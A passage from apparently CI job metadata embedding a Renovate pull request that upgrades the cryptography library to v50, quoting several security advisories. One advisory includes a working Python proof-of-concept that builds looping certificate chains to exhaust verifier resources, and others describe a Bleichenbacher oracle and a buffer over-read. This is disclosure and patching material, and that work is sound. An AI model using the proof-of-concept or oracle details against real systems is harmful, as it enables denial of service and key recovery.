          take more than 5s to reject in testing. This amplification could form the
          basis for a resource exhaustion denial of service attack.\n\nThis work was
          completed by Trail of Bits as part of the Patch The Planet project in collaboration
          with OpenAI. The finding was identified primarily by the Codex coding agent,
          and manually reviewed before submission. \n\n##### Details\nThe core issue
          arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n-
          [https://github.com/pyca/cryptography/commit/3763aa79b](https://redirect.github.com/pyca/cryptography/commit/3763aa79b)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml)\n-
          [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n###
          [`v48.0.1`](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n###
          [`v48.0.0`](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n###
          [`v47.0.0`](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n###
          [`v46.0.7`](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n###
          [`v46.0.6`](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n###
          [`v46.0.5`](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n###
          [`v46.0.4`](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n###
          [`v46.0.3`](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n###
          [`v46.0.2`](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n###
          [`v46.0.1`](https://redirect.github.com/pyca/cryptography/compare/46.0.0...46.0.1)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/46.0.0...46.0.1)\n\n###
          [`v46.0.0`](https://redirect.github.com/pyca/cryptography/compare/45.0.7...46.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/45.0.7...46.0.0)\n\n###
          [`v45.0.7`](https://redirect.github.com/pyca/cryptography/compare/45.0.6...45.0.7)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/45.0.6...45.0.7)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/vexxhost/ansible-collection-containers).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjI0NC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->\n"
        change_url: https://github.com/vexxhost/ansible-collection-containers/pull/153
        commit_id: 0e9c4d0d18e3b3906ee3f388efb41a62c77e04ef
        patchset: 0e9c4d0d18e3b3906ee3f388efb41a62c77e04ef
        project:
          canonical_hostname: github.com
          canonical_name: github.com/vexxhost/ansible-collection-containers
          name: vexxhost/ansible-collection-containers
          short_name: ansible-collection-containers
          src_dir: src/github.com/vexxhost/ansible-collection-containers
        src_dir: src/github.com/vexxhost/ansible-collection-containers
        topic: null
      change: '153'
      change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
        PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
        | `45.0.6` \u2192 `50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/45.0.6/50.0.0?slim=true)
        |\n\n---\n\n### cryptography Vulnerable to a Subgroup Attack Due to Missing
        Subgroup Validation for SECT Curves\n[CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)
        / [GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Vulnerability Summary\n\nThe
        `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`),
        `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()`
        functions do not verify that the point belongs to the expected prime-order
        subgroup of the curve.\n\nThis missing validation allows an attacker to provide
        a public key point `P` from a small-order subgroup.  This can lead to security
        issues in various situations, such as the most commonly used signature verification
        (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared
        secret as `S = [victim_private_key]P` via ECDH,  this leaks information about
        `victim_private_key mod (small_subgroup_order)`. For curves with cofactor
        > 1, this reveals the least significant bits of the private key.  When these
        weak public keys are used in ECDSA , it's easy to forge signatures on the
        small subgroup.\n\nOnly SECT curves are impacted by this.\n\n##### Credit\n\nThis
        vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin
        Automated Vulnerability Discovery Engine\n\n#### Severity\n- CVSS Score: 8.2
        / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2)\n-
        [https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c](https://redirect.github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c)\n-
        [https://github.com/pyca/cryptography/releases/tag/46.0.5](https://redirect.github.com/pyca/cryptography/releases/tag/46.0.5)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)\n-
        [http://www.openwall.com/lists/oss-security/2026/02/10/4](http://www.openwall.com/lists/oss-security/2026/02/10/4)\n-
        [https://github.com/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        cryptography has incomplete DNS name constraint enforcement on peer names\n[CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)
        / [GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nIn versions of cryptography
        prior to 46.0.5, DNS name constraints were only validated against SANs within
        child certificates, and not the \"peer name\" presented during each validation.
        Consequently, cryptography would allow a peer named `bar.example.com` to validate
        against a wildcard leaf certificate for `*.example.com`, even if the leaf's
        parent certificate (or upwards) contained an excluded subtree constraint for
        `bar.example.com`.\n\nThis behavior resulted from a gap between RFC 5280 (which
        defines Name Constraint semantics) and RFC 9525 (which defines service identity
        semantics): put together, neither states definitively whether Name Constraints
        should be applied to peer names. To close this gap, cryptography now conservatively
        rejects any validation where the peer name would be rejected by a name constraint
        if it were a SAN instead.\n\nIn practice, exploitation of this bypass requires
        an uncommon X.509 topology, one that the Web PKI avoids because it exhibits
        these kinds of problems. Consequently, we consider this a medium-to-low impact
        severity.\n\nSee CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.\n\n#####
        Remediation\n\nUsers should upgrade to 46.0.6 or newer. \n\n##### Attribution\n\nReporter:
        @&#8203;1seal\n\n#### Severity\n- CVSS Score: 1.7 / 10 (Low)\n- Vector String:
        `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)\n-
        [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml)\n-
        [https://github.com/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Cryptography vulnerable to buffer overflow if non-contiguous buffers were
        passed to APIs\n[CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)
        / [GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\nIf a non-contiguous buffer was passed
        to APIs which accepted Python buffers (e.g. `Hash.update()`), this could lead
        to buffer overflows. For example:\n\n```python\nh = Hash(SHA256())\nb.update(buf[::-1])\n```\n\nwould
        read past the end of the buffer on Python >3.11\n\n#### Severity\n- CVSS Score:
        6.9 / 10 (Medium)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)\n-
        [http://www.openwall.com/lists/oss-security/2026/04/08/12](http://www.openwall.com/lists/oss-security/2026/04/08/12)\n-
        [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml)\n-
        [https://github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27](https://redirect.github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27)\n-
        [https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5](https://redirect.github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5)\n-
        [https://access.redhat.com/errata/RHSA-2026:19375](https://access.redhat.com/errata/RHSA-2026:19375)\n-
        [https://access.redhat.com/errata/RHSA-2026:43651](https://access.redhat.com/errata/RHSA-2026:43651)\n-
        [https://access.redhat.com/errata/RHSA-2026:43670](https://access.redhat.com/errata/RHSA-2026:43670)\n-
        [https://access.redhat.com/errata/RHSA-2026:43851](https://access.redhat.com/errata/RHSA-2026:43851)\n-
        [https://access.redhat.com/errata/RHSA-2026:43853](https://access.redhat.com/errata/RHSA-2026:43853)\n-
        [https://access.redhat.com/errata/RHSA-2026:43854](https://access.redhat.com/errata/RHSA-2026:43854)\n-
        [https://access.redhat.com/errata/RHSA-2026:43855](https://access.redhat.com/errata/RHSA-2026:43855)\n-
        [https://access.redhat.com/errata/RHSA-2026:46956](https://access.redhat.com/errata/RHSA-2026:46956)\n-
        [https://access.redhat.com/errata/RHSA-2026:7295](https://access.redhat.com/errata/RHSA-2026:7295)\n-
        [https://access.redhat.com/security/cve/CVE-2026-39892](https://access.redhat.com/security/cve/CVE-2026-39892)\n-
        [https://bugzilla.redhat.com/show_bug.cgi?id=2456735](https://bugzilla.redhat.com/show_bug.cgi?id=2456735)\n-
        [https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json)\n-
        [https://access.redhat.com/errata/RHSA-2026:20338](https://access.redhat.com/errata/RHSA-2026:20338)\n-
        [https://access.redhat.com/errata/RHSA-2026:21017](https://access.redhat.com/errata/RHSA-2026:21017)\n-
        [https://access.redhat.com/errata/RHSA-2026:22465](https://access.redhat.com/errata/RHSA-2026:22465)\n-
        [https://access.redhat.com/errata/RHSA-2026:22629](https://access.redhat.com/errata/RHSA-2026:22629)\n-
        [https://access.redhat.com/errata/RHSA-2026:22840](https://access.redhat.com/errata/RHSA-2026:22840)\n-
        [https://access.redhat.com/errata/RHSA-2026:23361](https://access.redhat.com/errata/RHSA-2026:23361)\n-
        [https://access.redhat.com/errata/RHSA-2026:24483](https://access.redhat.com/errata/RHSA-2026:24483)\n-
        [https://access.redhat.com/errata/RHSA-2026:24761](https://access.redhat.com/errata/RHSA-2026:24761)\n-
        [https://access.redhat.com/errata/RHSA-2026:24762](https://access.redhat.com/errata/RHSA-2026:24762)\n-
        [https://access.redhat.com/errata/RHSA-2026:24853](https://access.redhat.com/errata/RHSA-2026:24853)\n-
        [https://access.redhat.com/errata/RHSA-2026:24866](https://access.redhat.com/errata/RHSA-2026:24866)\n-
        [https://access.redhat.com/errata/RHSA-2026:24977](https://access.redhat.com/errata/RHSA-2026:24977)\n-
        [https://access.redhat.com/errata/RHSA-2026:30088](https://access.redhat.com/errata/RHSA-2026:30088)\n-
        [https://access.redhat.com/errata/RHSA-2026:30089](https://access.redhat.com/errata/RHSA-2026:30089)\n-
        [https://access.redhat.com/errata/RHSA-2026:37275](https://access.redhat.com/errata/RHSA-2026:37275)\n-
        [https://access.redhat.com/errata/RHSA-2026:42644](https://access.redhat.com/errata/RHSA-2026:42644)\n-
        [https://github.com/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Vulnerable OpenSSL included in cryptography wheels\n[GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\npyca/cryptography's wheels include
        a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels
        prior to cryptograph 48.01 are vulnerable to a security issue. More details
        about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.\n\nIf
        you are building cryptography source (\"sdist\") then you are responsible
        for upgrading your copy of OpenSSL. Only users installing from wheels built
        by the cryptography project (i.e., those distributed on PyPI) need to update
        their cryptography versions.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
        Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n#### References\n-
        [https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf)\n-
        [https://openssl-library.org/news/secadv/20260609.txt](https://openssl-library.org/news/secadv/20260609.txt)\n-
        [https://github.com/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
        through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
        / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
        `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting
        a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable ways, one of
        which disclosed the exact length recovered from the\nRSA operation. The same
        distinction was also observable by timing. An\napplication that decrypts attacker-supplied
        `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
        oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
        in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
        of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
        decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
        mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
        padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
        `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
        real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
        lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On
        OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic
        plaintext of\npseudorandom length, so the error channel does not distinguish
        conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts
        untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively
        at high volume, such as\nan S/MIME gateway or mail filter.\n\n##### Fix\n\nPer
        RFC 3218, the content-encryption algorithm is now resolved before the\nprivate
        key is used, so the expected key length is known in advance. If the RSA\ndecryption
        fails or recovers a key of the wrong length, a random key of the\nexpected
        length is substituted and decryption continues down an identical path.\nAll
        failures now report identically and perform the same work.\n\n##### Not addressed
        by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering
        with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext
        at\nroughly 256 queries per byte, without recovering any key, on every backend.
        This\nis a property of PKCS#7 rather than of this implementation, cannot be
        fixed in\nthe library, and is now documented.\n\n##### Credit\n\nReported
        by @&#8203;X1AOxiang.\n\n#### Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector
        String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
        [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
        [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
        [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        python-cryptography verifier accepts wildcard DNS names allowing escape from
        permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
        / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nIf an intermediate constrained
